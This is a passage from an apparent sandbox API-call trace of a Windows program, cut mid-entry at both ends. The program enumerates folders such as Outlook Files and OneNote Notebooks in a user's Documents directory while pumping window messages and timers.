(in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.576] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.576] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.576] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.577] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.577] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.577] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.577] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.577] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.577] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.577] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.577] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.578] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.578] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.578] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.578] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.580] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.580] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.580] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.581] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.581] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.581] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cf30 [0068.582] FindNextFileW (in: hFindFile=0x164cf30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.583] FindNextFileW (in: hFindFile=0x164cf30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.583] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.583] FindNextFileW (in: hFindFile=0x164cf30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.583] FindClose (in: hFindFile=0x164cf30 | out: hFindFile=0x164cf30) returned 1 [0068.584] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0068.586] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.586] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.587] TranslateMessage (lpMsg=0x130f0e4) returned 0 [0068.587] DispatchMessageW (lpMsg=0x130f0e4) returned 0x0 [0068.587] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e748) returned 1 [0068.590] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0068.590] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0068.590] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.592] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.592] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.593] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.594] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.594] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0068.596] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.596] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.596] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.597] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.597] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.597] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.598] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.599] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.599] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, 